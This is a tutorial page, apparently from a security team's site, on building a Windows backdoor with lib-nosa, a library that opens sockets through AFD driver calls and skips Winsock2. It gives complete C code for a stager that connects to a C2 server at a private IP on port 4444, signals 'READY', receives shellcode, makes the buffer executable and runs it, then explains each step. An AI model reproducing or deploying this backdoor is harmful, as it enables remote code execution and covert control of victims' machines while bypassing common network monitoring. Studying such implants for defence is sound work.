Building Backdoors with Alternative Socket with lib-nosa (No Socket API)
Alternative implementation of winsock2 using AFD.sys for socket realization. Still improving!
lib-nosa is a minimalist C library designed to facilitate socket connections through AFD driver IOCTL operations on Windows. By bypassing the traditional winsock2.h -> (ws2_dll.dll) header, lib-nosa directly interacts with the internal socket APIs of the AFD (Ancillary Function Driver for WinSock), offering developers a lightweight and low-level alternative for network programming.
Created by ViperX Team
Repository: https://github.com/ViperXSecurity/lib-nosa
Features
Establishes socket connections directly through AFD driver IOCTL calls, bypassing the standard Winsock2 interface.
Focuses on simplicity and performance, with a small footprint and no unnecessary dependencies.
Provides direct access to internal socket APIs, giving developers fine-grained control over network operations.
Avoids the overhead and abstraction of the Winsock2 API, making it ideal for performance-critical applications.
Building a Simple Backdoor with lib-nosa
lib-nosaCreating a simple backdoor using the lib-nosa library. We'll explore the core functions provided by lib-nosa, understand their purposes, and see how they integrate to establish a connection, send and receive data, and execute received shellcode.
Overview
The backdoor's primary function is to connect to a Command and Control (C2) server, signal its readiness, receive a shellcode payload, and execute it. Here's the high-level flow:
Establish Connection: Connect to the C2 server using the specified IP and port.
Allocate Memory: Reserve memory to store the incoming shellcode.
Signal Readiness: Inform the server that the client is ready to receive the shellcode.
Receive Shellcode: Receive the shellcode from the server.
Execute Shellcode: Change memory permissions to executable and run the shellcode.
Cleanup: Release allocated resources.
Let's delve into each step, examining the code and the underlying lib-nosa APIs.
The Code
#include "nosa.h"
#define MAX_RECV_BYTES 4096  // Adjust this to a reasonable value based on expected shellcode size
/**
 * A simple backdoor that connects to a specified host and port, receives a shellcode binary,
 * allocates memory, writes the shellcode, and executes it.
 *
 * @returns 0 upon successful execution
 */
int main()
{
    HANDLE hSocket = NULL;
    NTSTATUS Status = 0;
    const char* socketType = "TCP";
    const char* host = "192.168.15.32";  // Command and Control (C2) server IP
    int port = 4444;                     // C2 server port
    SIZE_T totalBytesReceived = 0;
    LPVOID pktRecv = NULL;
    DWORD oldProtect;
    int (*func)();
    // Connect to the remote host
    Status = nosa_connect(&hSocket, (char*)host, port, (char*)socketType);
    if (Status != 0 || hSocket == NULL) {
        fprintf(stderr, "Failed to connect to %s:%d (Status: %d)\n", host, port, Status);
        return 1;
    }
    printf("Connected to %s:%d\n", host, port);
    // Allocate a buffer for receiving the shellcode with read/write permissions
    pktRecv = VirtualAlloc(NULL, MAX_RECV_BYTES, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pktRecv == NULL) {
        fprintf(stderr, "Failed to allocate memory for receiving data.\n");
        afd_close(hSocket);
        return 1;
    }
    memset(pktRecv, 0, MAX_RECV_BYTES);  // Clear the allocated memory
    // Send a signal to the server that the client is ready to receive shellcode
    const char* readyMsg = "READY";
    Status = nosa_send(&hSocket, (LPVOID)readyMsg, strlen(readyMsg));
    if (Status != 0) {
        fprintf(stderr, "Failed to send ready signal (Status: %d)\n", Status);
        VirtualFree(pktRecv, 0, MEM_RELEASE);
        afd_close(hSocket);
        return 1;
    }
    // Receive the shellcode using nosa_recv API
    Status = nosa_recv(hSocket, pktRecv);
    if (Status <= 0) {  // Adjust based on the return value interpretation
        fprintf(stderr, "Failed to receive data or connection closed (Status: %d).\n", Status);
        VirtualFree(pktRecv, 0, MEM_RELEASE);
        afd_close(hSocket);
        return 1;
    }
    printf("Received %zu bytes.\n", Status);  // Status represents the number of bytes received
    // Change the memory protection to Read/Execute
    if (!VirtualProtect(pktRecv, Status, PAGE_EXECUTE_READ, &oldProtect)) {
        fprintf(stderr, "Failed to change memory protection to EXECUTE_READ.\n");
        VirtualFree(pktRecv, 0, MEM_RELEASE);
        afd_close(hSocket);
        return 1;
    }
    // Execute the shellcode
    func = (int(*)())pktRecv;
    printf("Executing received shellcode...\n");
    func();
    // Clean up
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 0;
}Code Run

nosa-rev11.c with x86_64-w64-mingw32-gcc 

nosa-rev11.exe shows successful socket creation and connection to 192.168.15.32:4444, with a detailed hex dump of the data sent."Detailed Breakdown
1. Establishing a Connection
Function Used: nosa_connect
Status = nosa_connect(&hSocket, (char*)host, port, (char*)socketType);
if (Status != 0 || hSocket == NULL) {
    fprintf(stderr, "Failed to connect to %s:%d (Status: %d)\n", host, port, Status);
    return 1;
}
printf("Connected to %s:%d\n", host, port);nosa_connect Function
NTSTATUS nosa_connect(HANDLE* hSocket, char* host, int port, char* socketType)Purpose: Establishes a connection to a specified host and port using the desired socket type (e.g., TCP or UDP).
Parameters:
hSocket: A pointer to aHANDLEwhere the function will store the created socket handle upon successful connection.host: The target hostname or IP address.port: The target port number.socketType: The type of socket to use ("TCP"or"UDP").
Return Value: Returns an
NTSTATUScode indicating success or failure.
Explanation:
The function initializes and creates a socket based on the provided
socketType.It resolves the
hostto an IP address, possibly usingnosa_dns_lookupif a domain name is provided.It then attempts to establish a connection to the specified
hostandport.Upon success, it stores the socket handle in
hSocket.
2. Allocating Memory
pktRecv = VirtualAlloc(NULL, MAX_RECV_BYTES, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pktRecv == NULL) {
    fprintf(stderr, "Failed to allocate memory for receiving data.\n");
    afd_close(hSocket);
    return 1;
}
memset(pktRecv, 0, MAX_RECV_BYTES);  // Clear the allocated memoryExplanation:
Uses the Windows API
VirtualAllocto reserve a memory region of sizeMAX_RECV_BYTES(4096 bytes in this case) with read/write permissions.This memory will store the incoming shellcode.
memsetensures the allocated memory is zeroed out to prevent any residual data.
3. Signaling Readiness
Function Used: nosa_send
const char* readyMsg = "READY";
Status = nosa_send(&hSocket, (LPVOID)readyMsg, strlen(readyMsg));
if (Status != 0) {
    fprintf(stderr, "Failed to send ready signal (Status: %d)\n", Status);
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 1;
}nosa_send Function
NTSTATUS nosa_send(HANDLE* hSocket, LPVOID packet_data, int packet_data_sz)Purpose: Sends data over an established socket connection.
Parameters:
hSocket: Pointer to the socket handle over which data will be sent.packet_data: Pointer to the data buffer to be sent.packet_data_sz: Size of the data buffer in bytes.
Return Value: Returns an
NTSTATUScode indicating success or failure.
Explanation:
Sends the string
"READY"to the server, indicating that the client is prepared to receive the shellcode.Ensures that the entire message is sent successfully.
4. Receiving the Shellcode
Function Used: nosa_recv
Status = nosa_recv(hSocket, pktRecv);
if (Status <= 0) {
    fprintf(stderr, "Failed to receive data or connection closed (Status: %d).\n", Status);
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 1;
}
printf("Received %zu bytes.\n", Status);  // Status represents the number of bytes receivednosa_recv Function
NTSTATUS nosa_recv(HANDLE hSocket, LPVOID packet_data_received)Purpose: Receives data from an established socket connection.
Parameters:
hSocket: The socket handle from which data will be received.packet_data_received: Pointer to the buffer where the received data will be stored.
Return Value: Returns the number of bytes received or an
NTSTATUScode indicating an error.
Explanation:
Receives data from the server, which should be the shellcode payload.
Checks if the received byte count is greater than zero to ensure data was received successfully.
The received data is stored in the previously allocated
pktRecvbuffer.
5. Executing the Shellcode
if (!VirtualProtect(pktRecv, Status, PAGE_EXECUTE_READ, &oldProtect)) {
    fprintf(stderr, "Failed to change memory protection to EXECUTE_READ.\n");
    VirtualFree(pktRecv, 0, MEM_RELEASE);
    afd_close(hSocket);
    return 1;
}
// Execute the shellcode
func = (int(*)())pktRecv;
printf("Executing received shellcode...\n");
func();Explanation:
Changing Memory Permissions: Uses
VirtualProtectto modify the memory permissions of thepktRecvbuffer, allowing it to be executable.Changes from
PAGE_READWRITEtoPAGE_EXECUTE_READ.Stores the old protection settings in
oldProtect(useful for restoring later if needed).
Executing the Shellcode:
Casts the
pktRecvbuffer to a function pointerfunc.Invokes
func(), executing the shellcode.
Safety Note: Executing arbitrary shellcode can be extremely dangerous. Ensure that the shellcode is from a trusted source and that testing occurs in a controlled environment.
6. Cleanup
VirtualFree(pktRecv, 0, MEM_RELEASE);
afd_close(hSocket);Explanation:
Memory Release: Frees the allocated memory for
pktRecvusingVirtualFree.Socket Closure: Closes the established socket connection using
afd_close.
Understanding Additional lib-nosa APIs
lib-nosa APIsnosa_dns_lookup
nosa_dns_lookupNTSTATUS nosa_dns_lookup(HANDLE hSocket, const char* domain_name, DOMAIN_INFO* outBuffer)Purpose: Resolves a domain name to its corresponding IP address.
Parameters:
hSocket: A socket handle used for the DNS query.domain_name: The domain name to resolve (e.g., "example.com").outBuffer: A pointer to aDOMAIN_INFOstructure where the resolved IP address and related information will be stored.
Return Value: Returns an
NTSTATUScode indicating success or failure.
Explanation:
This function is essential when the
hostparameter innosa_connectis provided as a domain name rather than an IP address.It performs a DNS lookup to retrieve the IP address associated with the given domain.
The resolved information is stored in the
outBuffer, which can then be used for establishing connections.
afd_close
afd_closeWhile not explicitly defined in the provided context, afd_close appears to be a function responsible for closing the socket handle.
Assumed Function Signature:
void afd_close(HANDLE hSocket)Purpose: Closes an established socket connection.
Parameters:
hSocket: The socket handle to be closed.
Explanation: Ensures that the socket resources are properly released, preventing resource leaks.
Last updated